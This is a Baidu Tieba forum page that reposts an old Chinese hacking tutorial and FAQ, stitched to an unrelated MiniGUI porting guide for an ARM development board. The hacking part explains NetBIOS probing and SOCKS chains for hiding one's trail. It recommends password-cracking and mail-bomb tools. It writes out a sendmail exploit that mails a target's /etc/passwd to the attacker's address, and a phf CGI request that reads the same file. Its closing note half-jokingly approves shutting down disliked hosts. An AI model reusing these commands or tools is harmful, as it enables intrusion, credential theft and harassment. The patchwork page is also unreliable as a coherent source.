怎么把bitmapbomb 上传图片bomb

黑客基础《十年前的技术》_淮南二十一中吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:4,401贴子:
黑客基础《十年前的技术》收藏
NT系统安全
rawrence
&&&网络入侵者通常采取的第一步是通过端口扫描程序扫描目标机或网络。令人吃惊的是,以目标机的开放端口为基础对网络进行的攻击是多么的有条不紊。您应该清楚,除了Unix机外,这是NT机显示不同开放端口的标准。网络入侵者懂得查看端口扫描程序,并通过相当准确的结果来断定它是一台NT机还是一台Unix机。当然也有一些例外,但一般情况下都能这样做。最近,业界发布了几个用来远程鉴别机器的工具,但该功能目前还不能用于NT。&
&&&当攻击基于NT的网络时,NetBIOS往往是首选的攻击对象。因此,NetBIOS就成为本文中第一个要探讨的重要课题。&
&&&用NetBIOS进行信息收集相当容易,虽然要花费一点时间。NetBIOS一般被看作是开销很大的大容量协议,速度往往很慢,这也就是要耗费时间的原因。&
&&&如果端口扫描程序报告端口139在目标机上是开放的,那么接下来就是一个很自然的过程。第一步是发出NBTSTAT命令。NBTSTAT命令可以用来查询涉及到NetBIOS信息的网络机器。另外,它还可以用来消除&
NetBIOS高速缓存器和预加载LMHOSTS文件。这个命令在进行安全检查时非常有用。&
用法:nbtstat&[-a&RemoteName]&[-A&IP_address]&[-c]&[-n]&[-R]&[-r]&[-S]&
[-s]&
[interval]&
参数-a列出为其主机名提供的远程计算机名字表。&
-A列出为其IP地址提供的远程计算机名字表。&
-c列出包括了IP地址的远程名字高速缓存器。&
-n列出本地NetBIOS名字。&
-r列出通过广播和WINS解析的名字。&
-R消除和重新加载远程高速缓存器名字表。&
-S列出有目的地IP地址的会话表。&
-s列出会话表对话。&
&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&windows下的sock代理
译:quack
参考资料:《ANONYMOUS&CONNECTIONS&OVER&THE&NET:Socks&Chains&in&Windows》by&zoa_chien
这份文档讲述如何在ms&windows下通过socks&chain接入internet,使你能够匿名地接入网络,别人想定位你也更不容易了。
你传输数据时用了越多跳板,要找出你的真实踪迹就越困难,就如下面:
you&--&&socks1&--&&socks2&--&&socks3&--&&...&--&&socksx&--&&target
想要找出你,就必须连接x个你所通过的机器,并且找出他们的log,如果碰巧有一个没有记录,线就断了:),即使都记录了,log里面登记的IP也是上一级跳板主机的IP……
这种技巧可以用于:
.&ICQ或者相似工具
.&ftp客户端
.&mail客户端
.&telnet客户端
.&端口扫描器
.&(以及几乎所有在网络中所使用的工具)
这可能不适用于某些IRC服务器,因为它们常常查看打开着的wingates及proxies。
三、开始吧
1、找到一些运行wingate的主机
因为wingates的默认安装打开端口1080并且不记录socks连接。
你可以从
或者
 JackAss&基本上是一个辅助&Jack&的工具,&跟&KOS&一样,&需要有&CJack&才能够执行,他的英文注解是:&Add&On&For&CrackJack,&与&KOS&不同之处是:&KOS&对&CJack&的不足处作了补强,让&CJack&可以跑出一些大小写数字混合的密码,&而&JackAss&则是一个完全不同的方式,&他不需要使用任何的字典档,&因为它本身就是一个字典档产生器.&当你使用&JackAss&来作为&CJack&的前导,&执行&JackAss&之后他会依照你的选项来制造出字典档,&然后再呼叫&CJack&来跑这些字.试了一下&JackAss&似乎功能上不怎么样,&有点类似国内上次出现的那支密码破解程式,不过速度上倒是比较快,&如果你是要用暴力法来破解,&又有几台不错的机器,&你可以试著在不同的机器上跑,&这样速度会快一点,&如果单用一台机器要跑暴力法,&可能就很累了.&当然,&如果你可以只跑单一&User&的话,&速度会快一点,&所以我建议拿&JackAss&来跑&root&的部份,&其它的用&GlobalKOS&来跑字典法就行了~~&不要那么累!
 之前在&p.security&看到有几位网友在讨论解码的文章,&其中有一位网友的观点跟我的有点相像,&他的说法是:&将所有的字典档先编码,&存成一个大型的资料库,&当你抓回密码档的时候,&直接用密码档来作逐行的比对,&这样速度上会快一点,&因为省去了编码的时间.&如果有人要作这样的程式的话,&我想应该要有一个不小的硬碟,&用来储存这个完成后颇大的资料库,&然后查询方面最好是用&SQL&来作查询,&速度上应该会快一点因为在其它的查询方法上,&如果资料库非常庞大,&可以系统跑起来会像当机一般吧??&再者机器的速度应该也要够快,&最好呢,&能够写出一个&CGI&来&Call&这支程式,&让大家可以在网页上丢出&passwd&档来查询,&再将查询完的结果寄回电子邮件信箱中.&这看起来好像有点神话,&其实这很容易作到的,&只是没有人真的这样作,&是吗??&目前还没预估过这样作所须要的主机配备,&大家有空的时候帮忙想一想吧??
 [WordList&V1.0]
这个程式是一支字典档产生器,&他能产生五个字的字典档,&就是排列组合啦~&也没有用甚么特殊的方法,&使用他来产生字典可以产生一个相当大的字典,&不过速度上相当的慢就是了,&这种程式所产生的字典有点暴力,&因为他跟本不依照字典的方式来产生,&但是所产生的字也就相当的可观,&不过只要密马是五个字的,&都一定逃不过~&属於暴力法的一种.&速度慢?&慢到甚么程度呢?&你亲自的试一下就知道了,&我跑到一半就把它停掉了,不晓得是用甚么语言写的,&还&For&Win&3.x/95,&纯&DOS&下无法执行.&除了速度慢的缺点之外,&这支程式所跑出来的字典档是五个字的,&我觉得真对五个字的密码来作解码是有点暴力,&不过大家应该把自己的密码弄长一点,&因为之前我破解的一组密码,&居然有人用一个英文字元来当密码,&系统管理人员应该将密码设定最少四个字元,&这样密码才不容易被人盗用,&不然就将系统安全作得好一点,&不要让人轻易的拿到&passwd&档.
[Q1]
我一进去的目录是&/&,我用ls指令后都没有看到资料夹,有没有可能是把/etc/passwd隐藏了呢?我进去时先出来的画面:&220&flag12&Microsoft&FTP&service&(Verision2.0)我又用了anonymous.ftp.这两个username进去,也成功了而且目录也都一样,那有没有可能passwd不放在这里?
[A1]因为一般我们在找&password&档的时候,&我们测试(实作)的&Server&都是使用&Unix&的&Server来作,&所以我会写是&/etc/passwd,&照你这个情况看来,&你进入的&FTP&Server&应该是&WindowNT&的系统(我也没有把握能够确定这件事),&如果是这样的状况的话,&一般的&WinNT系统是不会有&/etc&这个目录的,&自然也就无法用&ls&指令看到了! 
[Q2]我觉得知道某人的IP又能怎样呢?&现在ISP都是使用不固定的IP呀?&若你说有纪录呀?可是像我使用非自己的或是免费的呢?像我的网页就有告诉人家免费上网(中研院提供的)查到IP也没用呀?为何还需要用E-mail&bomb&的隐密IP呢?我实在想不通,&可以告诉我吗?
[A2]对呀!!&但是如果该主机可以查出该&IP&的确实上线时间&(有&Log&档可查)另外也可以再经由电信系统查甚么时候拨到哪支电话的电话号码,&循线就可以逮到你了~&但是现在电信局不太管这样的事,&不过如果你犯了很大的错,&有检察官要求他们查,&你说查不查得到&?????&IP&固不固定又很重要吗&???&还是能&Fake&IP&是最好的~~&把&Ping关掉??呵呵~~&想通吧!
[Q3]1.I&can't&download&KeyPro&Emu'.&I&think&the&location&is&wrong.&Can&you&send&itto&me?
2.嗨...,UpYours3还是传不下来...能否告诉我其他地方哪里有?&or用别的方法寄来?(真的!没骗你,我每次下载到1.xMB时,就会卡住,都不动了...)
[Q7]
你知道吗?news上俞煌男有写一个程式是sendmail&收到password&to&you&know?你是否也有同样的program?and&letmein&2.0不知进展如何?
[A7]呵呵~~&Know&How&是不是??&其实要看他写出来的东西是针对哪个&Sendmail&版本啦,&像很多版本的&Sendmail&都有被人家抓出一些&Bug&出来,&那也要看这个&Bug&的危险性到甚么程度,一般这些东西都会有人整理出来,&但是如果&Mail&Server&使用的刚好不是Bug&有列出来的话,&你可能也没有办法了吧??&我举一个很久以前在&Bugtraq&上面看到的&sendmail&bug&来作说明好了,&这个&Bug&的版本我忘了,&好像是&sendmail&5.6&的吧(很久了),&现在不晓得还有没有人在用这个版本,&如果有的话,&就算他倒霉好了!&是这样的,&这个版本的&Sendmail&可以让人执行一些指令,&所以我们可以利用这个漏洞把passwd&档寄给自己,&而连到&smtp&就可以控制&sendmail&来发信了!
telnet&xxx.xxx.xxx&25
helo&MyDear
mail&from:&&|/bin/mail&me@myhost&&/etc/passwd&
rcpt&to:&me@myhost
data
this&is&a&test&mail&&.
像这样就可以让这台主机把他自己的&/etc/passwd&寄给我了,&但是也要看他有没有提供mail这支程式,&有没有放在&/bin&目录,&像这目录也是很重要的,&有的例子我举出来像cgi&hole&我是举例他放在&/cgi-bin&目录,&但有些人的目录名称是&/cgi&或&/bin&或/exe&就没有人会变通,&一直写信来问我,&为甚么照这个指令没有办法抓到...&等等,&很难讲啦,&谁晓得他们目录命名的方式,都是随人家高兴的嘛~~
 不过像你所讲的,&把这种&Bug&写成程式来抓&passwd&档,&那是不是要针对很多版本的sendmail&都要有判断?&再针对每个版本送出不同的指令?&如果真的可以写出来这样的程式的话,&那一定是很不错,&不过这应该还只是一个理想吧??&俞兄如果有写好的,&请寄送一份给小弟,&我倒想看看程式可以强到甚么程度.&还有,&并不是每个&sendmail&Bug&都是连上&smtp&就可以作了,&有些还要写一些小程式&(Scripts)&才跑才有用,&也就是说你必需要有一个&login&到该&server&的帐号才行....&所以.....&难说啦!
 
[Q8]
I&already&download&avalanche&v2.8&mail&bomber,but&I&can't&send&it!&When&I&start&send&the&bomb&massage,why&always&receive&553&error&ot&other&error?can&you&help&me&how&to&seng&it!&
[A8]有些&MailBomb&我并没有实际的测试过,&因为种类实在太多了,&现在好像越来越多人喜欢写这种程式,&如果你有类似的问题,&可以到我们首页上的留言版发问,&相信有用过的网友会提供你一些设定上的建议,&让你的程式能够正常的运作.
[Q9]Hi,&I&read&your&hack&homepage,&it's&very&good.&Do&you&know&any&BBS&or&sitesabout&system&security&&&hacking?&They&are&always&underground,&I&can't&findthem.Thanks&alot.
[A9]目前中文的&Hack&Homepage&大多都是关於软体注册码的网站,&有些网站现在也会提供一些关於破解主机方面的资讯,&我们将在首页上建立一些网页的连结点,&让网友们可以到其它的网站上看看其它的破解资讯,&如果你有建立一个相关的网页的话,&请写信给我,我会将你的网页加入我们站上的连结.&至於&bbs&的话,&各大专院校的&bbs&应该都有Hacker&区的讨论,&目前国内以交大资工的&Hacker&区资料最为丰富,&你有空也可以上去看看.&bbs.cis.nctu.edu.tw
[Q10]很冒昧的打扰你,小弟拜读你的大作中&coolhk2&时,便实地的操练了一下,当小弟在浏览器中下达∶
ada99:xxxxxx\cgi-bin\nph-test-cgi@_2A&
后,诚如你所说的一份报表出来如下∶&
CGI/1.0&test&script&report:
argc&is&1.&argv&is&\*.
SERVER_SOFTWARE&=&Apache/1.0.0
SERVER_NAME&=&auto.nypi.edu.tw
GATEWAY_INTERFACE&=&CGI/1.1
SERVER_PROTOCOL&=&HTTP/1.0
SERVER_PORT&=&80
REQUEST_METHOD&=&GET
HTTP_ACCEPT&=&image/gif,&image/x-xbitmap,&image/jpeg,&image/pjpeg,*/*
PATH_INFO&=
PATH_TRANSLATED&=
SCRIPT_NAME&=&/cgi-bin/nph-test-cgi
QUERY_STRING&=&2&Count.cgi&acc&acc.c&archie&calendar&count&date&discuss&doit.cgi&dopost.c&
finger&fortune&guestmsg&guestmsg.c&imagemap&jj&move.pl&nph-count&nph-test-cgi&phf&post-query&
post.c&query&ranking&re.c&repost.c&repost.c.bak&test-cgi&test-cgi.tcl&uptime&vote.pl&wais.pl
REMOTE_HOST&=&140.130.1.218
REMOTE_ADDR&=&140.130.1.218
REMOTE_USER&=
CONTENT_TYPE&=&
CONTENT_LENGTH&=
但是当小弟再接著输入∶
可是却没有&passwd&出现,仅出现如下∶
Ⅰ.&
Server&Error
The&server&encountered&an&internal&error&or&misconfiguration&and
was&unable&to&complete&your&request.
Please&contact&the&server&administrator,&allen@auto.nypi.edu.tw&and
inform&them&of&the&time&the&error&occurred,&and&anything&you&might&have
done&that&may&have&caused&the&error.
Ⅱ.
Query&Results
/usr/local/bin/ph&-m&alias=x&less&/etc/passwd&
上面的&Ⅰ及Ⅱ&是小弟分别在不同的站所试出的结果,请问一下为什么会如此呢,是不是小弟指令下错了或者是该站的软体已经把&bug&给&patch&过了,谢谢你!
[A10]正如你所说,&可能这个站台已经把他们的&httpd&Patch&过了,&所以没有办法拿到,&也不一定要用&less&指令,&也可以用&more,&cat&等指令来试看看,&你上面所下的指令应该都正确才对,如果真是已经&Patch&过了的话,&就只好试试看系统有没有其它的漏洞罗.这个漏洞主要是系统所提供的&phf&的&bug,&有些主机在&test-cgi&的&Report&上的&QueryString&那一行没有&phf,&也就表示这台主机没有提供&phf&这个&cgi&让你使用,&也就没有办法用这个方式来取得&passwd&档了.
 
[Q11]1.&Can&you&tell&me&how&to&find&the&KOS&file&by&YAHOO.The&best&of&idle&is&tellme&the&FTP&site.Thank&you.&:)
2.我给您发完信后,想从您的首页上拉个CJACK14下来,发现上面好象没有耶&我点取了那个名字,可是报告说没有这个文件。&(~~~~~~~~~~~~不会是没有吧
[A11]你现在已经可以在&.tw/pub/security&中拿到这个档,&这是由网友&Robin所提供的ftp,&站台上许多程式都可以在这里抓到.&如果你在我们站台上抓不下来,&请到这里试试,&如果你想在&Yahoo&上找的话,&寻找&globalkos&这个关键字,&可以顺便连到国外的站台看看他们摆了哪些东西,&亦可顺便学点东西喔~~
[Q12]Can&you&tell&me&how&to&check&infomation&of&host?&How&to&know&the&FTP&serverand&MAIL&server?
[A12]对,&有很多网友来信询问如何破解某某站台,&如何破解....&都没有顺便说明一下你们想破解的系统是属於哪种系统,&先教大家看一下系统名称,&你只要&telnet&进入,&当&Unix提示符号出现的时候,&用&uname&-svrmn&就可以看到了,&各选项代表的意义如下说明:
-s:&Show&System&Name,&-v:&Show&Operating&Version,&-r:&Reveals&The&Software&Release&Level-m:&Identifies&The&Machine&Hardware&For&You&-n:The&node&name&of&the&computer&is&revealed
另外再来说明一下如何看&Sendmail&版本,&我们只要连到&Port&25&就可以看到了,&如: 
telnet&ms1.xxxxxxxxx.xxx.tw&25
220&ms1.xxxxxxxxx.xxx.tw&Sendmail&5.65v3.2&(1.1.8.2/30May97-0801PM)&Fri,&6&Jun&1
997&11:38:23&+0800 &
至於&ftp&呢?&你只要连上&ftp&就应该会在画面上看到他的版本名称了,&如:
C:\WINDOWS&ftp&ftp.xxxxxxxxx.xxx.tw
Connected&to&ftp.xxxxxxxxx.xxx.tw.
220-Serv-U&FTP-Server&v2.2&for&WinSock&ready...
220-Welcome&to&xxxxxxxxxxxx&xxx&Ftp&Server(ftp.xxxxxxxxx.xxx.tw).
220-From&xxx.xx.xxx.xx
[Q13]请问你能否告诉我如何制造mail&bomb,因为最近老是收到广告信或者有的没有的,实在很
讨厌.
[A13]首页上有一堆Mail&Bomb&的程式,&你需要的只是把他们抓下来,&然后在电脑上跑就行了,当然里面也都有说明档之类的文件.&在收到广告信件的时候,&请不要一昧的回信,&因为有些发&MailList&的人,&对系统的运作并不&解,&有时可能是利用在帐号目录设&.foward的方式来发信的,&而信件中的&Reply&to:&栏位填的也是该帐号,&当遇到这种情况的时候,你所发的信会让所有在这个&MailList&的人都收到,&如果所有的收件人都回这封信的话,那你的信箱一定就爆烂了!&所以要先冷静的分析一下这封信的发法,&会不会伤害到别人,再决定要怎么办,&千万别乱炸!~&MailBomb&也会害到自己的,&切记~ 
[Q14]您好!我是XXXXXXXXXXXXXXXXX!!对於您写的TXT2DIC&有一点问题!为什么所建的密码档PASSDICT不会增加!只是每增加一次字典,PASSDICT会随著不同!
[A14]TXT2DIC&的产生方式会覆盖掉旧有的档案,&所以请在使用的时候使用不同的档案名称,目前最新的&TXT2DIC&V1.2&也还没有使用&File&Append&的方式,&所以仍然会将旧档案覆盖,&若你不想覆盖旧档,&请使用不同的档名来进行转换!&否则程式将不会给你任何的警告就把档案盖下去了!
 
[Q15]在网路闲逛时发现FETAG&Software's&Hacking&Page像发现宝一样的下载了Coolhc#1-6,在以前电影、小说所描述的骇客情节,以为只有在外国才有的事,想不到在台湾已有人在这片领域默默的耕耘,虽然我不是很聪明但还是很有兴趣的想出点力。拜读你的大作似乎有点意犹未尽,想请教你什么时候再出第七集,坊间有什么中文的入门书可参考的。还有想当一个骇客族会不会很难。
[A15]谢谢你的鼓励,&7&跟&6&之间的确是隔了很久,&且这一篇也没有讲到甚么东西,&有点对不起大家的等待了.&若想要学入侵,&希望各位能多看一看&Unix&方面的书,&先将&Unix&的指令读熟,&最基本的当然就是&Shell&指令,&再来就是学著写一些简单的&Shell&Script,若没有馀力自己找系统的漏洞,&又想要破解站台,&建议要多看看一些系统安全的&MailList,&(好多老话重谈),&这一篇就针对&Mail&List&的部份,&有简单的介绍,&让大家对这些系统安全的&Mail&List&有些&解,&进而多吸收一些知识. 
[Q16]我想请问一下,我是用Browser抓/etc/passwd的,&面root的密码是被编过码的吗?我用Crack&Jack&1.4解码。但是好像不行,到底要用什么解才对,一下用Crack&Jack,一下又用Brute,我都看不懂,还有就是UltraEdit是什么?Pass2Dic有用吗?还有我用NetTerm&4.1版for&win31可是ftp&or&sendmail好像都进不去,是什么原因呢?另外就是我用CuteFtp&1.8版,Login设anonymous&or&Double,ID和passwd都空白,但是为什么就可以进Ftp,然后用NetTerm却进不去?&还有KOS(1.?M)的不会用。
[A16]好多问题喔~&我一一的简短回答:[1]要看&Passwd&是否是编码过的,&在&CoolHC#1&中就有说明,&我没有亲眼看到&passwd&档,&没有办法回答.&[2]CrackJack&跟&Brute&都是功能相同的程式,&CrackJack&速度比较快,&请你先看一下&CoolHC1~6&之后再发问,&因为有很多东西都是写过的了!&[3]UltraEdit???&文书编辑程式,&我用它来写&Home&Page&[4]Pass2Dic在&CJack&上已经有选项了,&但是在&Brute&之类的成式上就用得到.&[5]ftp&有提供匿名登入,&但是在&Telnet&没有,&所以无法登入.&[6]&KOS&的用法也写过了!
[Q17]when&i&use&txt2dic.exe&,&i&can't&use&it&first,&when&i&go&into&the&third&stepit&show&&&incorrect&dos&version....done!&&secondly,&when&i&gp&into&the&fourthstep&,&it&show&&have&some&error&on&code-62&&what's&wrong&?
[A17]第一个问题,&在第三步骤发生&Incorrect&dos&version,&你用的是&1.0&版,&所以需要呼叫到&dos&的&sort&程式,&请使用&1.2&版&(For&Win32&only)&就不会有此状况了!&二,你发生&Error&62&的状况,&这在上一次的&FAQ&中也有讲过了,&请去翻一翻就&解了!&不过这个状况也在&1.2&版改进了,&所以建议还是用新的版本,&就不会有这种状况发生了! 
[Q18]When&I&get&a&passwd&file&which&is&shadowed....Please&tell&me&how&to&do....
[A18]如果我跟你讲,&无解呢??&有些&shadow&过的档,&只要你有办法抓到另外一个&shadow&档是有办法解开的,&但是单要使用&shadow&过的档,&我不相信有人能够解开~&所以还是要抓到另一个来&&配对&&才有用!&至於如何抓到&shadow?&很多人都有这样的问题,&那就要看系统&&提供&&的漏洞多不多了,&不然它&shadow&也就没有意义罗! 
[Q19]First&of&all,&I'd&like&to&give&you&some&feedbacks&about&your&page.I'm&not&in&Vancouver.&I&always&encounter&the&slow&transfer&rate&with&manyTaiwanese&sites.&I&only&got&30&bytes/sec&with&your&site.&I&don't&know&thereason...&Anyway,&you&are&the&first&Chinese&hacking&page&I've&ever&seen.I&like&that.&I&just&want&to&learn&more.&Could&yu&give&me&some&Chinese&hackingpages'&addresses?&I&will&be&glad&to&visit&them.&By&the&way,&I'm&not&intersetedin&emailbombs,&because&they&hurt&others.&But&I'm&interested&in&defensing&andcracking&emailbombs.&I&hope&you&can&update&your&page&oftenly.&Thanks&a&lot!
[A19]谢谢你,&我们会尽量的更新我们的网页,&至於其它中文的类似站台???&呜...&你们在哪里呀??&快点现身吧!!&如果大家有找到新的类似站台的话,&寄得赶快写信来告诉我呦~ 
[Q20]请问我ISP的OS是SunOS5.4,我用贵站上的方法不好用了,用贵站关于shadow的link上提到的也不成了,要如何取得其shadow过的passwd呢?请赐教,多谢!
[A20]喔~~&对了!&刚才忘了讲,&如果各位已经试过几个&Port,&解自己系统的版本编号,&使用的&Sendmail&版本,&ftp&版本等的话,&你们可以到&&去看看,&点选左边那个&Bugs,&然后选一下你所知道的系统,&他会列出一些目前所知的&Bugs&出来,&然候你就可以依样画葫芦啦,&不过那些讯息都是英文的啦~~
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* 
再次重申,&Crack&别人站台之后不要破坏别人站台中的资料,&此篇文章仅作为教育目的,不主张你随便入侵他人主机....&(高-Net&还是除外)...&请勿将这类技术使用於破坏上(又...&如果第三次世界大战开打,&你可以任意破坏敌国的电脑网路...&我全力支持),最严重的情况(如果你真的很讨厌该主机的话)...&就将它&Shut&Down....&好了!&别太暴力了! &
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
登录百度帐号推荐应用
为兴趣而生,贴吧更懂你。或LINUX(21)
注:大漠孤狼的这篇文章是移植MiniGUI的经典文章,网上好多例子都是参考该文章的,包括我本人在2010年4月份移植MiniGUI亦参考了这篇文章,现转载一下,方便以后查阅,另外也纪念下我研究生毕设,话说魏永明先生真是牛X,但是他翻译过来的LDD3(驱动经典教材)曾折磨过我,开发的MiniGUI更是折磨我不少时间啊!想当初张健师兄推荐BJUT-VLSI实验室申请MiniGUI3.0软件,侯老师将这件事儿交给我去办,我和飞漫公司交流了N回,还去了飞漫公司两次,才把与实验室的YLP2440开发板相配套的MiniGUI3.0及mStudio给做好。。。。。。
另外还有两篇文章写的也很好,是黄思华童鞋写的,他在CSDN上亦有相同文章,不过在minigui论坛上的这几篇文章格式编辑的很好,看着非常舒服,我主要是参考了触摸屏校正这一块,网址为:
最近移植了 MiniGUI 1.3.3 到一个开发板上,中间遇到许多问题,在论坛上发问题,结果也没多少人回我,就算偶尔有回的,基本上回答也没有什么用,网上找不到一个完整的移植文章,所以就决定把自己这次移植摸出来的一些方法写出来,给像我一样的小菜鸟做个参考吧。本文不教你怎么写驱动,只是教怎么样在最短的时候在你的PC机上搭建起开发环境,同时在你的板子上跑起MiniGUI 来,这样你就可以在PC上开发好程序,调试完毕,然后交叉编译一下,直接Copy到板子上就可以了。
首先,你需要下载的MiniGUI 的包:
/download/libminigui-1.3.3.tar.gz& &&
/download/minigui-res-1.3.3.tar.gz& && &&
这两个包的下载需要你在&&上注册过才可以下载,免费注册的,自己去下吧
/downloads/minigui13/mde-1.3.0.tar.gz& & 图形界面程序
/downloads/minigui13/mg-samples-1.3.0.tar.gz&&一些小例子
好,首先就下载这几个包吧,后面还有需要下载的包,后面再说
1.PC环境的搭建
首先你需要一个 Linux 环境,我安装的是 RedHat 9.0&&安装时记着选 everything ,这样可以避免到时候编译少了东西。这里搭建的环境是让 MiniGUI 在你的 PC 上可以跑起来,这样以后你开发程序就可以只在 PC 上开发,调试好,最后交叉编译一下放到板子上就行了。后面会讲怎么为板子编译MiniGUI ,耐心的看吧:)
首先建立自己的开发目录
[Root]#&&mkdir /opt
[Root]#&&cd /opt
[Root]# mkdir st2410& && && && & //这个是我的板子,
[Root]# chmod 777 st2410& &&&//给一般用户操作权限
[user]#&&cd /opt/st2410& && && &&&//进到目录中去,在这个目录下工作,用普通用户来工作
把 libminigui-1.3.3.tar.gz 解开
[user]# tar&&zxf&&libminigui-1.3.3.tar.gz
[user]# tar zxf minigui-res-1.3.3.tar.gz
编译 libminigui&&,这个是 minigui 运行所必需的库文件,必须编译成功
[user]# cd libminigui-1.3.3
[user]# ./configure& && && && && &&&//最简单的编译方式,让它自己去配置 ,这里采用缺省的Thread 模式而不是Lite模式,因为这种方式在 PC 机上使用最方便,后面移到板子上再改成 Lite 模式即可
注意屏幕上的输出,特别是下面几条
checking for FrameBuffer console support... yes
checking for pthread library... yes
checking for TT_FreeType_Version in -lttf... yes
checking for T1_InitLib in -lt1... no
checking for jpeg_std_error in -ljpeg... yes
checking for png_check_sig in -lpng... yes
其中 Clttf& &Clpng&&必须是 yes ,不然后面你的程序肯定会有问题,如果这里不是 yes 的话,肯定是你的 Redhat 9 安装不对,告诉过你安装时选 everything ,你选了吗???
其中 ttf 库是对 TrueType 字体的支持,png 库是对 png 图形的支持,MiniGui 里都需要这两个,在后面为板子交叉编译的时候也需要这两个,不然你的程序跑不起来,切记切记。
好了,现在通过了,下面是编译了
[user]# make&
接来来就是漫长的等待了,让它慢慢的编译吧,呵
[user]#&&su& && && &//切到 Root 用户权限下,不然安装时没法把文件写到你的 /usr/local 目录下
[Root]# make install&
好了,库安装完毕,下面是安装资源
[Root]# cd /opt/st2410/minigui-res-1.3.3
[Root]# make install&
OK,基本的安装完成了,现在检查一下
看看在你的目录&&/usr/local/lib 下是不是有以下文件
libmgext-1.3.so.3 -& libmgext-1.3.so.3.0.0
libmgext-1.3.so.3.0.0
libmgext.a
libmgext.la
libmgext.so -& libmgext-1.3.so.3.0.0
libminigui-1.3.so.3 -& libminigui-1.3.so.3.0.0
libminigui-1.3.so.3.0.0
libminigui.a
libminigui.la
libminigui.so -& libminigui-1.3.so.3.0.0
libvcongui-1.3.so.3 -& libvcongui-1.3.so.3.0.0
libvcongui-1.3.so.3.0.0
libvcongui.a
libvcongui.la
libvcongui.so -& libvcongui-1.3.so.3.0.0
里面还有一个目录 minigui ,可以进到里面去看,分别为 minigui/res/ [bmp , cursor,icon ,…..] 好几个目录,里面有相应的文件
检查 /usr/local/include&&里面是不是多了一个 minigui 目录,/usr/local/include/minigui 时面好多的 .h 文件,如下:
common.h&&control.h&&endianrw.h&&fixedmath.h&&mgext.h& & mywindows.h&&vcongui.h
config.h&&dti.c& && &filedlg.h& &gdi.h& && &&&minigui.h&&skin.h& && & window.h
如果这里检查没有这些东西的话,那你前面的步骤肯定有问题,自己检查一下吧。
首先,修改你的 /etc/ld.so.conf 文件,在里面最后新加入一行 /usr/local/lib
然后执行 [Root]#&&ldconfig&
[Root]# vi /usr/local/etc/MiniGUI.cfg
在里面找到&
# GAL engine
#gal_engine=fbcon
gal_engine=qvfb& &//这里修改
# IAL engine
#ial_engine=console
ial_engine=qvfb& & //这里修改
mdev=/dev/mouse
mtype=IMPS2
defaultmode=bpp
defaultmode=640x480-16bpp& & //这里修改
保存一下,OK了!
现在你需要安装一个 qvfb ,因为 Redhat 9 里面没有,从下面地址下载
/downloads/dep-libs/qvfb-1.0.tar.gz&
[user]# tar zxf qvfb-1.0.tar.gz
[user]# cd qvfb-1.0
[user]# ./configure
[user]# make
[user]# make install
在这个过程中如果出现 error while loading shared libraries: libqt-mt.so.3: cannot open shared object file
说明你的系统少了 libqt-mt.so.3 这个库,还是回去检查一下,你安装时Redhat 时是否选了 everything ,或者在实际操作的过程中,这个库有可以被误删除掉,我就出现过,这时候你可以 google 一下 ,输入 libqt-mt.so.3 redhat 9 ,应该就可以搜到相应的 rpm 包,安装时
[root]# rpm Ci --force [你的包名]& &就OK了&&
这里有个下载地址,可以试试,我是用讯雷下载的,别的工具没试过
ftp://ftp.pbone.net/mirror/www-ccrma.stanford.edu/planetccrma/mirror/redhat/linux/planetccrma/9/en/os/i386/qt33-3.3.3-0.1.rh90.ccrma.i386.rpm&
注意:在你后面的操作过程中有可能会导致 libqt-mt.so.3 丢失,这时候只要重装一下就OK了
解决了这个问题后重复安装过程
[user]# ./configure
[user]# make
[user]# make install
OK ,环境搭建好了,下面是测试了:)
还记得前面让你下载的 mg-samples-1.3.0.tar.gz 这个包吧,这个就是一些例子,现在试试吧:)
[user]# tar zxf mg-samples-1.3.0.tar.gz
[user]# ./configure
[user]# make
[user]# cd src
看看 src 目录下是不是已经编译出可执行文件来了
现在来执行一下吧,首先把 qvfb 加到你的可执行路径中去
[user]# cd $HOME
[user]# vi .bashrc
在 .bashrc 最后面加上一句
export PATH=&$PATH:/sbin:/usr/local/arm/2.95.3/bin:/usr/local/bin:/usr/local&& &
保存退出,这里面有些路径是为以后用的,比如 /usr/local/arm/2.95.3/bin ,先加上吧:)
[user]# source .bashrc& &//让它执行一下,当然你也可以选择重启一下电脑,效果是一样的,呵
执行例子程序:
[user]# qvfb && && && &&&//在图形界面下执行,呵,别告诉我你只在命令行工作啊 :)
在 qvfb 中选 File  Configure &#60 VGA& &16bit& &,这样看起来舒服
[user]#&&cd /opt/st2410/ mg-samples-1.3.0/src
[user]# ./helloword
OK ,这个时候你应该可以看到在 qvfb 中的执行效果了吧,记住:一定要先运行 qvfb ,并且设置 qvfb ,然后再运行你的程序,而且qvfb 每重启一次就需要重新设置一下,真麻烦
OK 你的 PC 环境搭建完毕了,你现在可以在 PC 上开发你的程序,并且编译,并在 qvfb&&中执行,等完全验证它是正确的了,把它交叉编译一下,放到板子上去就可以了,呵呵:)
MiniGUI 还有一种执行方式,就是在 Console 下在 Framebuffer 上执行,这种方式太麻烦,在PC 上不推荐,你还是用 qvfb 执行吧,方便,呵
在FrameBuffer 上执行
修改 /usr/local/etc/MiniGUI.cfg 文件,如下
# GAL engine
gal_engine=fbcon
& &//这里修改
# IAL engine
ial_engine=console
& &//这里修改
mdev=/dev/mouse
mtype=none& &//这里改成none,因为经常鼠标不正常
defaultmode=bpp
defaultmode=640x480-16bpp& &&&
重启动你的 RedHat 9 ,在出现 Grub 的时候按 E 键,在 kernel =…..& && &这一行的最后加入&&vga=0x317&&,然后 Enter ,然后在 kernel=…&&这一行上按 b&&就可以了,这时候可以在启动时看到一个小企鹅的图标,OK
进去后,直接在 例子程序的目录下执行 ./helloword&&就可以了 :)
2.为你的实验板进行交叉编译
